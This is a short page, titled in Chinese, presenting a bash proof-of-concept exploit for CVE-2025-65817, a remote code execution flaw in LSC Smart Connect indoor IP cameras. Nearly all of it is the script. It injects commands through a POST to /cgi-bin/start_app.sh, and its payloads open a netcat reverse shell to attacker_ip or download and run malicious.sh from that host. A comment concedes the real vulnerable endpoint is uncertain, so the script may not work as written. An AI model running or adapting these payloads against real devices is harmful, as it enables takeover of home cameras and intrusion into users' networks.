CVE-2025-65817 LSC智能摄像头start_app.sh远程代码执行漏洞

#!/bin/bash # CVE-2025-65817 PoC - LSC Smart Connect Indoor IP Camera RCE # Target: LSC Smart Connect Indoor IP Camera 1.4.13 # Attack Vector: Adjacent Network (AV:A) # Authentication: None Required (PR:N) # Please use this PoC only for authorized security testing TARGET_IP="$1" TARGET_PORT="${2:-80}" if [ -z "$TARGET_IP" ]; then echo "Usage: $0 <target_ip> [port]" echo "Example: $0 192.168.1.100 80" exit 1 fi echo "[*] CVE-2025-65817 PoC for LSC Smart Connect Indoor IP Camera" echo "[*] Target: $TARGET_IP:$TARGET_PORT" # Payload: Inject command to create a reverse shell backdoor # The actual exploitation depends on the specific vulnerable endpoint PAYLOAD="test; nc -e /bin/bash attacker_ip 4444;" # Alternative payload: Download and execute malicious script PAYLOAD_ALT="test; wget http://attacker_ip/malicious.sh -O /tmp/m.sh && chmod +x /tmp/m.sh && /tmp/m.sh;" echo "[!] Sending exploit payload..." echo "[!] If successful, you should receive a reverse shell on port 4444" # Method 1: HTTP request to potentially vulnerable endpoint curl -s -X POST "http://$TARGET_IP:$TARGET_PORT/cgi-bin/start_app.sh" \ -d "cmd=$PAYLOAD" \ -H "Content-Type: application/x-www-form-urlencoded" \ --connect-timeout 5 --max-time 10 # Method 2: Telnet/RTSP port exploitation (common on IP cameras) # echo "$PAYLOAD" | nc -w 3 $TARGET_IP 23 echo "" echo "[*] Exploitation attempt completed" echo "[*] Check for reverse shell connection on port 4444"